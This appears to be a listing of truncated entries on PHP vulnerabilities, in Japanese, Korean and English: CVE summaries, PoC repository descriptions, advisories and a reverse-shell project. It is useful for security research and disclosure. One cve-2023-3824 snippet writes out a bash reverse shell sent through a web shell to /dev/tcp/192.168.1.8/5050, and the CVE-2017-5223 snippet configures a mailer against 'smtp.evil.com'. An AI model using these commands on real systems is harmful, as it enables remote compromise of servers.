elFinder <= 2.1.47 - Command Injection

elFinder before 2.1.48 has a command injection vulnerability in the PHP connector. The vulnerability occurs when performing image operations on JPEG files, where the filename is passed to the exiftran utility without proper sanitization, allowing command injection. id: CVE-2019-9194 info: name:...

CVE-2019-9081_PoC

CVE-2019-9081poc CVE-2019-9081 の PoC です。この CVE は新しい POP チェーンです。このプロジェクトは、事前に脆弱性が組み込まれた Laravel 5.7.x アプリケーションで、URI /deserialize POST リクエスト に POP 脆弱性のエントリポイントがあります。 ラボのセットアップ： 脆弱性アプリケーションの起動： root@kitploit: $ git clone https://github.com/nth347/CVE-2019-9081poc.git $ cd CVE-2019-9081 $ php artisan...

CVE-2023-20209

私は、Red Team エンゲージメント中にインターネット上で Cisco Expressway を何台か見かけたため調査を始めましたが、業務中にこの製品をさらに調査する時間はありませんでした。 当初は認証バイパスを探して RCE につなげようとしていましたが、時間切れとなり、認証後 RCE に落ち着きました。フロントエンドの PHP コードはさらなる悪用が期待できそうです……。 これは、CVE-2023-20209 の発見とベンダー通知に関する私のメモです。 悪用後のプロセスリストから、/sbin/request-crlupdate への呼び出しが見られます: root@kitploi...

cve-2023-3824

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip pass:...

CVE-2025-50866

CloudClassroom-PHP-Project 1.0 には、postquerypublic エンドポイントの email パラメータに反映型クロスサイトスクリプティング XSS の脆弱性があります。不適切なサニタイズにより、攻撃者は任意の JavaScript コードを注入でき、ユーザーのブラウザのコンテキストで実行され、セッションハイジャックやフィッシング攻撃につながる可能性があります。 脆弱性の種類 : クロスサイトスクリプティング XSS ベンダー製品 : https://github.com/mathurvishal/CloudClassroom-PHP-Project...

SUSE SLES15 Security Update : php-composer2 (SUSE-SU-2026:4283-1)

The remote SUSE Linux SLES15 / SLESSAP15 host has a package installed that is affected by multiple vulnerabilities as referenced in the SUSE-SU-2026:4283-1 advisory. - CVE-2026-45793: GitHub OAuth tokens failing regex validation can cause credential disclosure bsc1271504. - CVE-2026-59944: path...

CVE-2017-5223

CVE-2017-5223 IsSMTP; $mail-Host = "smtp.evil.com"; $mail-Port = 25; $mail-SMTPAuth = true; $mail-CharSet = "UTF-8"; $mail-Encoding = "base64"; $mail-Username = "[email protected]"; $mail-Password = "tes1234t"; $mail-Subject = "hello"; $mail-From = "[email protected]"; $mail-FromName =...

CVE-2023-6933

CVE-2023-6933 脆弱性の概要 説明 WordPress 用プラグイン「Better Search Replace」には、PHP オブジェクトインジェクションとして知られる重大な脆弱性が存在します。このセキュリティ上の欠陥は、1.4.4 以前のすべてのバージョンに影響します。この脆弱性は、信頼できない入力のデシリアライズに起因しており、認証されていない攻撃者がシステム内に PHP オブジェクトを注入することを可能にします。特に、このプラグイン自体には PHP オブジェクトインジェクション POI チェーンは含まれていません。ただし、標的システムに POI...

Roundcube-1.6.10-Post-Auth-RCE-CVE-2025-49113-

🚨 脆弱性レポート: Roundcube Webmail における CVE-2025-49113 ⚠️ 重要なお知らせ — 責任ある使用 本資料は教育および研究目的に限られます。 ここに記載された情報やツールを違法または悪意のある活動 に使用することは固く禁じられています。 著者は本コンテンツの不正使用について一切の責任を負いません 。 このリポジトリには、Roundcube Webmail バージョン 1.6.10 までのバージョンに影響する、PHP オブジェクトデシリアライゼーションによるリモートコード実行（RCE）の重大な脆弱性である CVE-2025-49113...

CVE-2024-53345

CVE-2024-53345 Car Rental Management System バージョン 1.0〜1.3 における重大な 0 Day 脆弱性 説明: Car Rental Management System（バージョン 1.0〜1.3）の System Settings モジュールのファイルアップロード機能に重大な脆弱性が存在し、低権限ユーザーが実行可能な PHP...

CVE-2018-7600

CVE-2018-7600 - Drupal 7 リモートコード実行 これは、脆弱なDrupal 7インストール（= 7.57）を標的としたCVE-2018-7600エクスプロイトのRust実装です。このCLIは次のPoCフローを再現します。user/passwordパスを介してキャッシュされたレンダリング可能なフォームを汚染し、formbuildidを抽出し、その後file/ajaxエンドポイントを通じてキャッシュされたペイロードをトリガーし、PHP関数呼び出しによるリモートコード実行を達成します。 脆弱性の概要 CVE-2018-7600は、Drupal...

CVE-2019-9653

CVE-2019-9653 日付 開示: 2019年3月11日 最終更新: 2019年3月15日 概要 NUUO Inc. は、ビデオ中心の監視ソリューションを提供する企業です。さまざまな要件を持つ顧客向けに、多くのNVR（ネットワークビデオレコーダー）製品を展開しています。これらのNVRは、複数のカメラを管理できるLinux組み込み型のビデオ録画システムです。現在、世界中の多くの公共機関、企業、銀行、個人などで使用されています。...

PHP-REVERSE-SHELL

PHP 리버스 셸 강력하고 은밀함 이것은 모의 해킹 및 침투 테스트를 위해 설계된 강력하고 은밀한 PHP 리버스 셸입니다. 사용자 시스템으로 안정적이고 조용한 연결을 설정합니다. ⚠️ 면책 조항 이 PHP 리버스 셸은 교육 및 승인된 침투 테스트 목적으로만 개발되었습니다. 개발자는 이 리버스 셸을 사용하여 수행된 모든 오용, 손해 또는 불법 활동에 대해 책임을 지지 않습니다. 책임감 있게 사용하고, 소유하거나 명시적인 테스트 허가를 받은 시스템에서만 사용하십시오. 무단 접근은 불법이며 법적으로 처벌받을 수 있습니다. 기능 IP ...

RCE-Simplephpblog-biggiedroid

CVE-2025-15495 - 任意ファイルアップロードによるリモートコード実行（RCE） 製品 BiggiDroid – Simple PHP Blog CMS 製品ページ: https://biggidroid.com/product/simple-php-blog/ 脆弱性タイプ 任意ファイルアップロード 制限なしファイルアップロード リモートコード実行（RCE） 深刻度 致命的 CVSS（推定）: 9.8 AV:N / AC:L / PR:L / UI:N / S:U / C:H / I:H / A:H 概要 Simple PHP Blog CMS には、管理パネルの...

PSA: Critical Unauthenticated Path Traversal Vulnerability Patched in WordPress Core

On September 22, 2026, the WordPress Security Team released WordPress 7.1.2, as well as security backports for every branch back to WordPress 4.7 to address a critical unauthenticated path traversal vulnerability. The issue is tracked as CVE-2026-87902 and has a CVSS v4.0 score of 9.2 Critical. T...

cve-2026-87902-poc

CVE-2026-87902 — WordPress Core: ページテンプレート解決における未認証パストラバーサル WordPress Core における未認証のローカル PHP ファイルインクルード。二重エンコードされた pagename 値を通じて発生し、特定のデプロイ条件下では Web サーバーアカウントの権限で PHP コードが実行される。...

CVE-2018-10546

CVE-2018-10546 ユーザーは、'convert.iconv.' を使用するストリームフィルターで処理すると、対象アプリケーションが無限ループに入り、過剰な CPU リソースを消費する原因となる、特別に細工されたデータを作成できます CVE-2018-10546。 これらの脆弱性の具体的な影響は、影響を受ける関数やサービスを使用するアプリケーションによって異なります。...

CVE-2021-44967

CVE-2021-44967: LimeSurvey RCE 説明 このProof-of-Concept（POC）は、CVE-2021-44967を悪用して、管理者として悪意のあるLimeSurvey PHPプラグインをアップロード・実行し、リバースシェルを取得するために使用できます。 LimeSurvey 5.2.4には、プラグインのアップロードおよびインストール機能を介したリモートコード実行（RCE）の脆弱性が存在します。これにより、リモートの悪意のあるユーザーが任意のPHPコードファイルをアップロードできる可能性があります。 深刻度: 8.3 HIGH ベクトル:...

CVE-2025-44608

CVE-2025-44608 CloudClassroom-PHP Project v1.0 は、SQLインジェクションを介したリモートコード実行（RCE）に対して脆弱です。 ベンダー: https://github.com/mathurvishal/CloudClassroom-PHP-Project ソフトウェアリンク: https://github.com/mathurvishal/CloudClassroom-PHP-Project/archive/refs/heads/master.zip PoC ステップ1: 影響を受けるURLにアクセスし、?viewid=1...

CVE-2026-88419

An unrestricted upload of files with a dangerous type in the thumbnail-upload endpoint /index.php?m=member&f=article&v=thumbUpload of WuzhiCMS 5.0.0 allows an authenticated low-privileged member to upload a crafted .php file and execute arbitrary PHP code on the server, because the stored file...